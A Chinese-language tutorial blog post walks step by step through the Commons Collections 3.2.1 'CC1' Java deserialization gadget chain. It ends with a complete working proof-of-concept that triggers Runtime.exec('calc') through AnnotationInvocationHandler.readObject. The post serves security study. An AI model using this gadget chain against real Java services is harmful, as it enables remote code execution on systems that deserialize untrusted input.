Commons Collections简介
Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。本篇文章就是分析Commons Collections3.1版本下的反序列化问题,针对于它的攻击链也被称为cc1链。
准备工作
选择jdk版本为8u65,因为漏洞在8u71的版本就被修复了。下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html。
CommonsCollections的版本选择3.2.1,不能太高,太高也是没有漏洞的。添加Maven依赖下载:
| <dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
 <dependency>
 <groupId>commons-collections</groupId>
 <artifactId>commons-collections</artifactId>
 <version>3.2.1</version>
 </dependency>
 </dependencies>
 
 | 
另外,为了方便调试我们还需要java源码,因为源码中大多都是class文件,不方便阅读和查找。所以需要下载openjdk对应的源码,链接:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4,点击zip下载,解压成文件夹。
 
将jdk8u65中的src.zip里面的文件解压到src文件夹中,另外将下载解压好的文件夹中的sun文件夹复制粘贴到src文件夹目录下,
 
在IDEA中,选择目录结构,
 
将jdk中的src文件路径添加到源路径中,
 
此时,我们就可以调试源码了。虽然网上很多了,但是还是有必要在前面说一下。
cc1链分析
利用点
此链的漏洞利用点在Commons Collections库中的Transformer接口,
 
再寻找继承于Transformer接口的类,快捷键alt+crtl+b快速查找。有很多都继承了这个接口,我们定位到InvokerTransformer类中,此类可以被序列化,找到重写的Transform方法,
 
这就很有意思,通过反射调用任意类的任意方法。其中的参数都是通过该类的构造函数控制,也是我们所能控制的。
 
接下来实例化该类看看能不能命令执行,
| package com.serialize.demo;
 import org.apache.commons.collections.functors.InvokerTransformer;
 
 public class CCtest04 {
 public static void main(String[] args){
 InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
 Runtime runtime = Runtime.getRuntime();
 invokerTransformer.transform(runtime);
 }
 }
 
 | 
运行一下代码,成功弹出计算器。
 
漏洞利用点有了,接下来就是逆推构造调用链,最终定位到某个类的readObject方法里。
调用链
我们是在transform方法里执行命令的,所以接下来找哪个类调用了transform方法。右键点击查找用法可快速查找什么类调用了transform方法。共有二十四处调用,这些调用的地方我们都可以看看,但为了节约时间,我直接定位到TransformedMap类的checkSetValue方法,
 
valueTransformer通过构造器赋值,但是函数类型为protected,只能本类调用。
 
在该类找到decorate方法,类似于装饰器。它实例化了本类,能够调用TransformedMap构造器并为valueTransformer赋值。那么回到checkSetValue方法,我们已经可以控制valueTransformer,那么接下来找哪个类的哪个方法调用了该方法。只有一处调用,MapEntry类的setValue方法。
 
我们知道Entry代表map中的一个键值对,实际上MapEntry类重写了Map的setValue方法,跟进AbstractMapEntryDecorator抽象类,
 
我们先通过对Map的遍历触发setValue方法,主要思路:实例化一个Map,put一个键值对,然后通过TransformedMap的decorate方法进行封装,最后进行遍历。
| package com.serialize.demo;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.TransformedMap;
 
 import java.util.HashMap;
 import java.util.Map;
 
 public class CCtest04 {
 public static void main(String[] args){
 InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
 Runtime runtime = Runtime.getRuntime();
 HashMap<Object,Object> map = new HashMap<Object,Object>();
 map.put("aaa","bbb");
 Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,invokerTransformer);
 for(Map.Entry entry: transformedmap.entrySet()){
 entry.setValue(runtime);
 }
 }
 }
 
 | 
在decorate方法下断点调试一下,
 
此时,valueTransformer参数赋值为InvokerTransformer对象,步入,
 
接着调用构造器,把InvokerTransformer对象赋值给valueTransformer,走到遍历键值对的时候,调用setValue方法,
 
此时就调用了TransformedMap的checkSetValue方法。value的值为Runtime对象。
 
步入,最后就调用了InvokerTransformer的transform方法。
 
最终执行命令,弹出计算器。那么就说明此链是走的通的,还是逆向查找,看看哪个类的哪个函数调用了setValue方法,如果是readObject类调用了那就再好不过了。
入口类
事实就是那么巧,在AnnotationInvocationHandler类的readObject方法调用了setValue方法。
 
大致的链子到此就结束了,但仍有几个问题需要解决。
Runtime类不能被反序列化
可以通过反射获取到它的class对象,class对象是可以被反序列化的,跟进看一下:
 
一般的反射执行命令的写法为:
| package com.serialize.demo;
 import org.apache.commons.collections.functors.InvokerTransformer;
 
 import java.io.IOException;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 
 public class CCtest02 {
 public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
 Class c = Runtime.class;
 Method runtime = c.getMethod("getRuntime");
 Runtime a = (Runtime) runtime.invoke(null,null);
 Method method = c.getMethod("exec",String.class);
 method.invoke(a,"calc");
 }
 }
 
 | 
那么嵌套在InvokerTransformer类中该怎么写, 在Commons Collections库中存在ChainedTransformer这么一个类,可以将多个Transformer串联在一起形成一个链,递归调用。跟进这个类看一下
 
它的构造方法传递一个数组,它的transform方法将iTransformers进行递归调用。代码如下
| package com.serialize.demo;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 
 import java.io.IOException;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 
 public class CCtest02 {
 public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
 
 Transformer[] transformers = new Transformer[]{
 
 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
 
 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 
 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
 };
 
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 chainedTransformer.transform(Runtime.class);
 }
 }
 
 | 
完美解决不能反序列化的问题。
AnnotationInvocationHandler不能在包外实例化
看代码,
 
构造器没写类型,那就是默认访问修饰符,只能在包内实例化。所以还是需要反射来获得实例对象。该构造器接收两个参数,分别是注解类型的Class对象和Map对象。
| package com.serialize.demo;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 
 import java.io.*;
 import java.lang.annotation.Target;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.Map;
 public class CCtest02 {
 public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException, InstantiationException {
 
 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 
 Constructor annotation = c.getDeclaredConstructor(Class.class,Map.class);
 
 annotation.setAccessible(true);
 
 Object o = annotation.newInstance(Override.class,transformedmap);
 }
 }
 
 | 
这样就解决了问题。
满足readObject的两个if判断
实际上这条链根本就没有调用setValue方法,打断点调试看看。
 
第一个if就进不去,这个memberType实际上就是获取注解对象名为name的值,这个name,就是memberValues的键名。而这个memberValues是什么呢?我们创建的Map对象,不明白的可以回头看看代码,最后我也会贴出完整反序列化链,一看就能明白。我们设置的Override,跟进看一下,
 
是没有值的,所以需要换一个注解,跟进Target看一下,
 
有value值,那就用它了。同时对于Map对象,需要put键值对,键名必须为value,键值随意。更改完成后,再跟进看一下
 
完全满足两个if条件判断。
setValue方法的参数不可控
实际上执行了setValue方法后会跟进到checkSetValue。
 
而这里的value不是我们想要的Runtime.class,也就是不可控。可以利用一个类ConstantTransformer,跟进看一下它的transform方法,
 
无论接收什么参数,返回一个固定值,而这个固定值可以通过构造器可控。也就是说,无论value被赋上什么值,只要它调用了ConstantTransformer的transform方法,结果我们都可控。在Transformer数组里实例化ConstantTransformer
| new ConstantTransformer(Runtime.class)
 | 
然后调试看一下,
 
在数组遍历时会调用transform将输入改变为Runtime对象。
完整cc1链
完整反序列化代码为
| package com.serialize.demo;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.TransformedMap;
 
 import java.io.*;
 import java.io.Serializable;
 import java.lang.annotation.Target;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.net.MalformedURLException;
 import java.net.URL;
 import java.util.HashMap;
 import java.util.Map;
 
 public class CCtest03 {
 public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
 
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
 HashMap<Object,Object> map = new HashMap<Object,Object>();
 map.put("value","asd");
 Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);
 
 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor annotation = c.getDeclaredConstructor(Class.class,Map.class);
 annotation.setAccessible(true);
 Object o = annotation.newInstance(Target.class,transformedmap);
 serialize(o);
 unserialize("web.bin");
 }
 
 public static void serialize(Object object) throws IOException {
 FileOutputStream fileOutputStream = new FileOutputStream("web.bin");
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
 objectOutputStream.writeObject(object);
 System.out.println("1.序列化成功");
 }
 
 public static void unserialize(String filename) throws IOException, ClassNotFoundException {
 FileInputStream fileInputStream = new FileInputStream(filename);
 ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
 objectInputStream.readObject();
 System.out.println("2.反序列化成功");
 }
 }
 
 | 
弹个计算器来宣告胜利。
 
结语
第一次分析cc链,大概花了五天左右,便写下这篇文章记录自己对于cc链的分析过程。主要是跟着白日梦组长的视频学习,讲的非常好了。在分析反序列化链时也收获到了很多。
反序列化之路任重而道远。
相关链接:
Java反序列化之ysoserial cc1链分析
JAVA反序列化 - Commons-Collections组件